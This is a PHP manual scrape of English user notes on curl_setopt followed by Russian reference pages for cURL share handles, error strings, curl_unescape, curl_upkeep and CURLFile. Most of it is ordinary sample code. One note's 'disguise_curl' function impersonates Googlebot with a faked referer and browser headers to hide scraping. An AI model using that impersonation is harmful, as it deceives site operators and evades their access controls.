In PHP5, for the "CURLOPT_POSTFIELDS" option, we can use:

<?php
$ch = curl_init($URI);
$Post = http_build_query($PostData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $Post);
$Output = curl_exec($ch);
curl_close($ch);
?>
sgamon at yahoo dot com 09-Apr-2008 05:55
If you are doing a POST, and the content length is 1,025 or greater, then curl exploits a feature of http 1.1: 100 (Continue) Status.

See http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.2.3

* it adds a header, "Expect: 100-continue".
* it then sends the request head, waits for a 100 response code, then sends the content

Not all web servers support this though.  Various errors are returned depending on the server.  If this happens to you, suppress the "Expect" header with this command:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
?>

See http://www.gnegg.ch/2007/02/the-return-of-except-100-continue/
c00lways at gmail dot com 04-Mar-2008 01:16
if you would like to send xml request to a server (lets say, making a soap proxy),
you have to set

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
?>

makesure you watch for cache issue:
the below code will prevent cache...

<?php
curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
?>

hope it helps ;)
jade dot skaggs at gmail dot com 07-Jan-2008 09:48
After much struggling, I managed to get a SOAP request requiring HTTP authentication to work.  Here's some source that will hopefully be useful to others.

         <?php

         $credentials = "username:password";

         // Read the XML to send to the Web Service
         $request_file = "./SampleRequest.xml";
        $fh = fopen($request_file, 'r');
        $xml_data = fread($fh, filesize($request_file));
        fclose($fh);

        $url = "http://www.example.com/services/calculation";
        $page = "/services/calculation";
        $headers = array(
            "POST ".$page." HTTP/1.0",
            "Content-type: text/xml;charset=\"utf-8\"",
            "Accept: text/xml",
            "Cache-Control: no-cache",
            "Pragma: no-cache",
            "SOAPAction: \"run\"",
            "Content-length: ".strlen($xml_data),
            "Authorization: Basic " . base64_encode($credentials)
        );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);

        // Apply the XML to our curl call
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml_data);

        $data = curl_exec($ch);

        if (curl_errno($ch)) {
            print "Error: " . curl_error($ch);
        } else {
            // Show me the result
            var_dump($data);
            curl_close($ch);
        }

?>
Ojas Ojasvi 25-Sep-2007 10:52
<?php
/*
* Author: Ojas Ojasvi
* Released: September 25, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.php.net';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

Ojas Ojasvi
ashw1 - at - no spam - post - dot - cz 03-Jun-2007 04:51
In case you wonder how come, that cookies don't work under Windows, I've googled for some answers, and here is the result: Under WIN you need to input absolute path of the cookie file.

This piece of code solves it:

<?php

if ($cookies != '')
    {
    if (substr(PHP_OS, 0, 3) == 'WIN')
        {$cookies = str_replace('\\','/', getcwd().'/'.$cookies);}
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    }

?>
rob at infoglobe dot net 24-Apr-2007 09:01
Options not included in the above, but that work (Taken from the libcurl.a C documentation)

CURLOPT_FTP_SSL

Pass a long using one of the values from below, to make libcurl use your desired level of SSL for the ftp transfer. (Added in 7.11.0)

CURLFTPSSL_NONE

Don't attempt to use SSL.

CURLFTPSSL_TRY

Try using SSL, proceed as normal otherwise.

CURLFTPSSL_CONTROL

Require SSL for the control connection or fail with CURLE_FTP_SSL_FAILED.

CURLFTPSSL_ALL

Require SSL for all communication or fail with CURLE_FTP_SSL_FAILED.
eion at bigfoot dot com 21-Nov-2006 08:40
If you are trying to use CURLOPT_FOLLOWLOCATION and you get this warning:
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set...

then you will want to read http://www.php.net/ChangeLog-4.php which says "Disabled CURLOPT_FOLLOWLOCATION in curl when open_basedir or safe_mode are enabled." as of PHP 4.4.4/5.1.5.  This is due to the fact that curl is not part of PHP and doesn't know the values of open_basedir or safe_mode, so you could comprimise your webserver operating in safe_mode by redirecting (using header('Location: ...')) to "file://" urls, which curl would have gladly retrieved.

Until the curl extension is changed in PHP or curl (if it ever will) to deal with "Location:" headers, here is a far from perfect remake of the curl_exec function that I am using.

Since there's no curl_getopt function equivalent, you'll have to tweak the function to make it work for your specific use.  As it is here, it returns the body of the response and not the header.  It also doesn't deal with redirection urls with username and passwords in them.

<?php
    function curl_redir_exec($ch)
    {
        static $curl_loops = 0;
        static $curl_max_loops = 20;
        if ($curl_loops++ >= $curl_max_loops)
        {
            $curl_loops = 0;
            return FALSE;
        }
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $data = curl_exec($ch);
        list($header, $data) = explode("\n\n", $data, 2);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($http_code == 301 || $http_code == 302)
        {
            $matches = array();
            preg_match('/Location:(.*?)\n/', $header, $matches);
            $url = @parse_url(trim(array_pop($matches)));
            if (!$url)
            {
                //couldn't process the url to redirect to
                $curl_loops = 0;
                return $data;
            }
            $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
            if (!$url['scheme'])
                $url['scheme'] = $last_url['scheme'];
            if (!$url['host'])
                $url['host'] = $last_url['host'];
            if (!$url['path'])
                $url['path'] = $last_url['path'];
            $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
            curl_setopt($ch, CURLOPT_URL, $new_url);
            debug('Redirecting to', $new_url);
            return curl_redir_exec($ch);
        } else {
            $curl_loops=0;
            return $data;
        }
    }
?>
php at miggy dot org 23-Aug-2006 10:35
Note that if you want to use a proxy and use it as a _cache_, you'll have to do:

<?php curl_setopt($ch, CURLOPT_HTTPHEADER, array("Pragma: ")); ?>

else by default Curl puts a "Pragma: no-cache" header in and thus force cache misses for all requests.
Philippe dot Jausions at 11abacus dot com 30-May-2006 11:31
Clarification on the callback methods:

- CURLOPT_HEADERFUNCTION is for handling header lines received *in the response*,
- CURLOPT_WRITEFUNCTION is for handling data received *from the response*,
- CURLOPT_READFUNCTION is for handling data passed along *in the request*.

The callback "string" can be any callable function, that includes the array(&$obj, 'someMethodName') format.

 -Philippe
mr at coder dot tv 14-Apr-2006 07:22
Sometimes you can't use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE becoz of the server php-settings(They say u may grab any files from server using these options). Here is the solution
1)Don't use CURLOPT_FOLLOWLOCATION
2)Use curl_setopt($ch, CURLOPT_HEADER, 1)
3)Grab from the header cookies like this:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
4)Set them using curl_setopt($ch, CURLOPT_COOKIE,  $cookies);

Good Luck, Yevgen
luca dot manzo at bbsitalia dot com 02-Feb-2006 03:55
If you're getting trouble with cookie handling in curl:

- curl manages tranparently cookies in a single curl session
- the option
<?php curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookieFileName"); ?>

makes curl to store the cookies in a file at the and of the curl session

- the option
<?php curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookieFileName"); ?>

makes curl to use the given file as source for the cookies to send to the server.

so to handle correctly cookies between different curl session, the you have to do something like this:

<?php
       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, COOKIE_FILE_PATH);
       curl_setopt ($ch, CURLOPT_COOKIEFILE, COOKIE_FILE_PATH);

       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;
?>

in particular this is NECESSARY if you are using PEAR_SOAP libraries to build a webservice client over https and the remote server need to establish a session cookie. in fact each soap message is sent using a different curl session!!

I hope this can help someone
Luca
Dustin Hawkins 27-Dec-2005 02:24
To further expand upon use of CURLOPT_CAPATH and CURLOPT_CAINFO...

In my case I wanted to prevent curl from talking to any HTTPS server except my own using a self signed certificate. To do this, you'll need openssl installed and access to the HTTPS Server Certificate (server.crt by default on apache)

You can then use a command simiar to this to translate your apache certificate into one that curl likes.

$ openssl x509 -in server.crt -out outcert.pem -text

Then set CURLOPT_CAINFO equal to the the full path to outcert.pem and turn on CURLOPT_SSL_VERIFYPEER.

If you want to use the CURLOPT_CAPATH option, you should create a directory for all the valid certificates you have created, then use the c_rehash script that is included with openssl to "prepare" the directory.

If you dont use the c_rehash utility, curl will ignore any file in the directory you set.
skyogre __at__ yandex __dot__ ru 22-Dec-2005 02:13
There is really a problem of transmitting $_POST data with curl in php 4+ at least.
I improved the encoding function by Alejandro Moreno to work properly with mulltidimensional arrays.

<?php
function data_encode($data, $keyprefix = "", $keypostfix = "") {
  assert( is_array($data) );
  $vars=null;
  foreach($data as $key=>$value) {
    if(is_array($value)) $vars .= data_encode($value, $keyprefix.$key.$keypostfix.urlencode("["), urlencode("]"));
    else $vars .= $keyprefix.$key.$keypostfix."=".urlencode($value)."&";
  }
  return $vars;
}

curl_setopt($ch, CURLOPT_POSTFIELDS, substr(data_encode($_POST), 0, -1) );

?>
ROXORT at TGNOOB dot FR 21-Sep-2005 07:09
<?php
/*
  Here is a script that is usefull to :
  - login to a POST form,
  - store a session cookie,
  - download a file once logged in.
*/

// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Login.php');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'fieldname1=fieldvalue1&fieldname2=fieldvalue2');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Downloads/AnnualReport.pdf');

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch);

/*
  At this point you can do do whatever you want
  with the downloaded file stored in $content :
  display it, save it as file, and so on.
*/
?>
michaeledwards.com 01-Jun-2005 02:57
Problems can occur if you mix CURLOPT_URL with a 'Host:' header in CURLOPT_HEADERS on redirects because cURL will combine the host you explicitly stated in the 'Host:' header with the host from the Location: header of the redirect response.

In short, don't do this:

<?php
$host = "www.example.com";
$url = "http://$host/";

$headers = array("Host: $host");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

Do this instead:

$host = "www.example.com";
$url = "http://$host/";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
?>
ron at ttvavanti dot nl 07-May-2004 08:00
If you specify a CAINFO, note that the file must be in PEM format! (If not, it won't work).
Using Openssl you can use:
openssl x509 -in <cert> -inform d -outform PEM -out cert.pem
To create a pem formatted certificate from a binary certificate (the one you get if you download the ca somewhere).
dweingart at pobox dot com 02-Apr-2003 03:08
If you want to Curl to follow redirects and you would also like Curl to echo back any cookies that are set in the process, use this:

<?php curl_setopt($ch, CURLOPT_COOKIEJAR, '-'); ?>

'-' means stdout

-dw
yann dot corno at free dot fr 13-Nov-2002 04:19
About the CURLOPT_HTTPHEADER option, it took me some time to figure out how to format the so-called 'Array'. It fact, it is a list of strings. If Curl was already defining a header item, yours will replace it. Here is an example to change the Content Type in a POST:

<?php curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); ?>

Yann


Закрыть разделяемый обработчик cURL

  • « curl_setopt
  • curl_share_errno »
  • PHP Manual
  • Функции cURL
  • Закрыть разделяемый обработчик cURL

curl_share_close

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_close — Закрыть разделяемый обработчик cURL

Описание

curl_share_close(CurlShareHandle $share_handle): void

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

Закрывает разделяемый обработчик cURL и высвобождает все его ресурсы.

Список параметров

share_handle

Разделяемый обработчик cURL, возвращаемый curl_share_init().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | share_handle expects a CurlShareHandle instance now; previously, a resource was expected.

Примеры

Пример #1 Пример использования curl_share_setopt()

В этом примере мы создаём разделяемый обработчик cURL, добавляем в него два обычных обработчика и запускаем их. Они будут использовать одни и те же куки.

<?php
// Создаём разделяемый обработчик и настраиваем его на обмен куками
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Инициализируем первый обработчик cURL и связываем его с разделяемым
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Запускаем первый запрос
curl_exec($ch1);

// Инициализируем второй обработчик cURL и связываем его с разделяемым
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Запускаем второй обработчик.
// Ему будут доступны все куки от первого обработчика $ch1
curl_exec($ch2);

// Закрываем разделяемый обработчик
curl_share_close($sh);

// Закрываем оба обычных обработчика
curl_close($ch1);
curl_close($ch2);
?>

Смотрите также

  • curl_share_init() - Инициализация разделяемого обработчика cURL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код последней ошибки разделяемого обработчика curl

  • « curl_share_close
  • curl_share_init »
  • PHP Manual
  • Функции cURL
  • Возвращает код последней ошибки разделяемого обработчика curl

curl_share_errno

(PHP 7 >= 7.1.0, PHP 8)

curl_share_errno — Возвращает код последней ошибки разделяемого обработчика curl

Описание

curl_share_errno(CurlShareHandle $share_handle): int

Возвращает код последней ошибки разделяемого обработчика curl в виде целого числа.

Список параметров

share_handle

Разделяемый обработчик cURL, возвращаемый curl_share_init().

Возвращаемые значения

Возвращает код последней ошибки разделяемого обработчика curl в виде целого числа.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки.
8.0.0 | share_handle expects a CurlShareHandle instance now; previously, a resource was expected.

Смотрите также

  • curl_errno() - Возвращает код последней ошибки

User Contributed Notes

There are no user contributed notes for this page.


Инициализация разделяемого обработчика cURL

  • « curl_share_errno
  • curl_share_setopt »
  • PHP Manual
  • Функции cURL
  • Инициализация разделяемого обработчика cURL

curl_share_init

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_init — Инициализация разделяемого обработчика cURL

Описание

curl_share_init(): CurlShareHandle

Позволяет разным обработчикам cURL делиться данными друг с другом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает разделяемый обработчик cURL.

Список изменений

Версия | Описание
8.0.0 | Функция возвращает экземпляр CurlShareHandle; раньше, возвращался ресурс (resource).

Примеры

Пример #1 Пример использования curl_share_init()

В этом примере мы создаём разделяемый обработчик cURL, добавляем в него два обычных обработчика и запускаем их. Они будут использовать одни и те же куки.

<?php
// Создаём разделяемый обработчик и настраиваем его на обмен куками
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Инициализируем первый обработчик cURL и связываем его с разделяемым
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Запускаем первый запрос
curl_exec($ch1);

// Инициализируем второй обработчик cURL и связываем его с разделяемым
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Запускаем второй обработчик.
// Ему будут доступны все куки от первого обработчика $ch1
curl_exec($ch2);

// Закрываем разделяемый обработчик
curl_share_close($sh);

// Закрываем оба обычных обработчика
curl_close($ch1);
curl_close($ch2);
?>

Смотрите также

  • curl_share_setopt() - Установить опции разделяемого обработчика cURL
  • curl_share_close() - Закрыть разделяемый обработчик cURL

User Contributed Notes

Robert Chapin 24-Jun-2017 06:15
Cookie handling is DISABLED by default.  The following must be used prior to CURLOPT_SHARE.

curl_setopt($ch1, CURLOPT_COOKIEFILE, "");
curl_setopt($ch2, CURLOPT_COOKIEFILE, "");

Also, do not attempt to use CURLOPT_SHARE with curl_setopt_array because this can cause the options to be set in the wrong order, which will fail.


Установить опции разделяемого обработчика cURL

  • « curl_share_init
  • curl_share_strerror »
  • PHP Manual
  • Функции cURL
  • Установить опции разделяемого обработчика cURL

curl_share_setopt

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_setopt — Установить опции разделяемого обработчика cURL

Описание

curl_share_setopt(CurlShareHandle $share_handle, int $option, mixed $value): bool

Устанавливает опции разделяемого обработчика cURL.

Список параметров

share_handle

Разделяемый обработчик cURL, возвращаемый curl_share_init().

option

Опция | Описание
CURLSHOPT_SHARE | Задаёт тип данных, которые необходимо разделять.
CURLSHOPT_UNSHARE | Задаёт тип данных, которые больше не надо разделять.

value

Значение | Описание
CURL_LOCK_DATA_COOKIE | Разделяет данные cookie.
CURL_LOCK_DATA_DNS | Разделяет кеш DNS. Обратите внимание, что если вы используете множественный обработчик cURL, то все добавленные обработчики по умолчанию будут разделять DNS-кеш.
CURL_LOCK_DATA_SSL_SESSION | Разделяет идентификаторы сессии SSL, сокращая время, затрачиваемое на подтверждение (handshake) SSL при повторном соединении к тому же самому серверу. Обратите внимание, что идентификаторы сессии SSL будут по умолчанию переиспользоваться тем же самым обработчиком.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | share_handle expects a CurlShareHandle instance now; previously, a resource was expected.

Примеры

Пример #1 Пример использования curl_share_setopt()

В этом примере мы создаём разделяемый обработчик cURL, добавляем в него два обычных обработчика и запускаем их. Они будут использовать одни и те же куки.

<?php
// Создаём разделяемый обработчик и настраиваем его на обмен куками
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Инициализируем первый обработчик cURL и связываем его с разделяемым
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Запускаем первый запрос
curl_exec($ch1);

// Инициализируем второй обработчик cURL и связываем его с разделяемым
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Запускаем второй обработчик.
// Ему будут доступны все куки от первого обработчика $ch1
curl_exec($ch2);

// Закрываем разделяемый обработчик
curl_share_close($sh);

// Закрываем оба обычных обработчика
curl_close($ch1);
curl_close($ch2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает описание для заданного кода ошибки

  • « curl_share_setopt
  • curl_strerror »
  • PHP Manual
  • Функции cURL
  • Возвращает описание для заданного кода ошибки

curl_share_strerror

(PHP 7 >= 7.1.0, PHP 8)

curl_share_strerror — Возвращает описание для заданного кода ошибки

Описание

curl_share_strerror(int $error_code): ?string

Возвращает описание для заданного кода ошибки.

Список параметров

error_code

Одна из констант: » Коды ошибок cURL.

Возвращаемые значения

Возвращает описание для заданного кода ошибки или null, если такого кода не существует.

Смотрите также

  • curl_share_errno() - Возвращает код последней ошибки разделяемого обработчика curl
  • curl_strerror() - Получить текстовое описание для кода ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получить текстовое описание для кода ошибки

  • « curl_share_strerror
  • curl_unescape »
  • PHP Manual
  • Функции cURL
  • Получить текстовое описание для кода ошибки

curl_strerror

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_strerror — Получить текстовое описание для кода ошибки

Описание

curl_strerror(int $error_code): ?string

Возвращает текстовое описание заданного кода ошибки.

Список параметров

error_code

Одна из констант » кодов ошибок cURL.

Возвращаемые значения

Возвращает описание ошибки или null, если такой ошибки нет.

Примеры

Пример #1 Пример использования curl_errno()

<?php
// Создаём обработчик curl с некорректным указанием протокола в URL
$ch = curl_init("htp://example.com/");

// Посылаем запрос
curl_exec($ch);

// Проверяем на ошибки и выводим их описание
if($errno = curl_errno($ch)) {
$error_message = curl_strerror($errno);
echo "cURL error ({$errno}):\n {$error_message}";
}

// Закрываем обработчик
curl_close($ch);
?>

Результат выполнения данного примера:

cURL error (1):
 Unsupported protocol

Смотрите также

  • curl_errno() - Возвращает код последней ошибки
  • curl_error() - Возвращает строку с описанием последней ошибки текущего сеанса
  • » Коды ошибок Curl

User Contributed Notes

There are no user contributed notes for this page.


Декодирует закодированную URL-строку

  • « curl_strerror
  • curl_upkeep »
  • PHP Manual
  • Функции cURL
  • Декодирует закодированную URL-строку

curl_unescape

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_unescape — Декодирует закодированную URL-строку

Описание

curl_unescape(CurlHandle $handle, string $string): string|false

Эта функция декодирует закодированную URL-строку.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

string

Закодированная строка.

Возвращаемые значения

Возвращает декодированную строку или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_escape()

<?php
// Создаём обработчик curl
$ch = curl_init('http://example.com/redirect.php');

// Посылаем HTTP-запрос
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// Получаем последний использованный URL
$effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
// например "http://example.com/show_location.php?loc=M%C3%BCnchen"

// Декодируем
$effective_url_decoded = curl_unescape($ch, $effective_url);
// "http://example.com/show_location.php?loc=Munchen"

// Закрываем обработчик
curl_close($ch);
?>

Примечания

Замечание:

curl_unescape() не преобразует плюс (+) в пробел. Это делает функция urldecode().

Смотрите также

  • curl_escape() - Кодирует заданную строку как URL
  • urlencode() - URL-кодирование строки
  • urldecode() - Декодирование URL-кодированной строки
  • rawurlencode() - URL-кодирование строки согласно RFC 3986
  • rawurldecode() - Декодирование URL-кодированной строки

User Contributed Notes

There are no user contributed notes for this page.


Выполняет любые проверки работоспособности соединений

  • « curl_unescape
  • curl_version »
  • PHP Manual
  • Функции cURL
  • Выполняет любые проверки работоспособности соединений

curl_upkeep

(PHP 8 >= 8.2.0)

curl_upkeep — Выполняет любые проверки работоспособности соединений

Описание

curl_upkeep(CurlHandle $handle): bool

Доступен при сборке с libcurl >= 7.62.0.

Некоторые протоколы поддерживают механизмы "поддержания соединения". Эти механизмы обычно передают небольшой объем трафика по существующим соединениям, чтобы сохранить их. Это может предотвратить закрытие соединений, например, из-за слишком усердных файерволов.

В настоящее время функция поддержания соединения доступна только для соединений HTTP/2. Для поддержания соединения обычно отправляется небольшой объем трафика. HTTP/2 поддерживает соединение, отправляя фрагмент HTTP/2 PING.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования curl_upkeep()

<?php
$url = "https://example.com";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_UPKEEP_INTERVAL_MS, 200);
if (curl_exec($ch)) {
usleep(300);
var_dump(curl_upkeep($ch));
}
curl_close($ch);
?>

Смотрите также

  • curl_init() - Инициализирует сеанс cURL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию cURL

  • « curl_upkeep
  • CurlHandle »
  • PHP Manual
  • Функции cURL
  • Возвращает версию cURL

curl_version

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_version — Возвращает версию cURL

Описание

curl_version(): array|false

Возвращает информацию о версии cURL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив со следующими элементами:

Ключ | Описание значения
version_number | 24-битный номер версии cURL
version | Номер версии cURL, в виде строки
ssl_version_number | 24-битный номер версии OpenSSL
ssl_version | Номер версии OpenSSL, в виде строки
libz_version | Номер версии zlib, в виде строки
host | Информация о хосте, где была собрана cURL
age |
features | Битовая маска констант CURL_VERSION_XXX
protocols | Массив поддерживаемых протоколов cURL

Список изменений

Версия | Описание
8.0.0 | Необязательный параметр age удалён.
7.4.0 | Необязательный параметр age объявлен устаревшим; если передано значение, оно игнорируется.

Примеры

Пример #1 Пример использования curl_version()

Этот пример проверит, какие возможности поддерживает данная сборка cURL с помощью битовой маски 'features', возвращаемой функцией curl_version().

<?php
// Получаем массив с информацией о версии curl
$version = curl_version();

// Это битовые поля, которые можно использовать
// для проверки возможностей сборки curl
$bitfields = Array(
'CURL_VERSION_IPV6',
'CURL_VERSION_KERBEROS4',
'CURL_VERSION_SSL',
'CURL_VERSION_LIBZ'
);

foreach($bitfields as $feature)
{
echo $feature . ($version['features'] & constant($feature) ? ' есть' : ' нет');
echo PHP_EOL;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс CurlHandle

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы curl в PHP 8.0.0.

Обзор классов

final class CurlHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс CurlMultiHandle

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы curl_multi в PHP 8.0.0.

Обзор классов

final class CurlMultiHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс CurlShareHandle

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы curl_share в PHP 8.0.0.

Обзор классов

final class CurlShareHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс CURLFile

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Этот класс или CURLStringFile могут быть использованы для загрузки файла с помощью опции CURLOPT_POSTFIELDS.

Десериализация экземпляров CURLFile не допускается. Начиная с PHP 7.4.0, сериализация запрещена в первую очередь.

Обзор классов

class CURLFile {
/* Свойства */
public string $name = "";
public string $mime = "";
public string $postname = "";
/* Методы */
public __construct(string $filename, ?string $mime_type = null, ?string $posted_filename = null)
public getFilename(): string
public getMimeType(): string
public getPostFilename(): string
public setMimeType(string $mime_type): void
public setPostFilename(string $posted_filename): void
}

Свойства

name

Путь к файлу, который будет отправлен

mime

MIME-тип файла (по умолчанию application/octet-stream)

postname

Имя файла при отправке методом POST (по умолчанию name)

Смотрите также

  • curl_setopt()
  • CURLStringFile

Содержание

  • CURLFile::__construct — Создаёт объект CURLFile
  • CURLFile::getFilename — Возвращает имя файла на сервере
  • CURLFile::getMimeType — Возвращает MIME-тип файла
  • CURLFile::getPostFilename — Возвращает имя файла, отправляемого POST-запросом
  • CURLFile::setMimeType — Устанавливает MIME-тип
  • CURLFile::setPostFilename — Устанавливает имя файла для отправки методом POST

User Contributed Notes

php at miknik dot co dot uk 27-Mar-2018 09:46
Simple function to construct CURLFile from the file path:

function makeCurlFile($file){
$mime = mime_content_type($file);
$info = pathinfo($file);
$name = $info['basename'];
$output = new CURLFile($file, $mime, $name);
return $output;
}

Then construct an array of all the form fields you want to post. For each file upload just add the CURLFiles.

$ch = curl_init("https://api.example.com");
$mp3 =makeCurlFile($audio);
$photo = makeCurlFile($picture);
$data = array('mp3' => $mp3, 'picture' => $photo, 'name' => 'My latest single', 'description' => 'Check out my newest song');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
if (curl_errno($ch)) {
   $result = curl_error($ch);
}
curl_close ($ch);
ohcc at 163 dot com 04-Dec-2017 06:23
This is how to upload two or more files at once with cURLFile.

With modern browser support, you can upload many files at one time if the multiple attribute is given.

<input type="file" name="file[]" muliple />

With outdated browser you can place many input elements to do that.

<input type="file" name="file[]" />
<input type="file" name="file[]" />
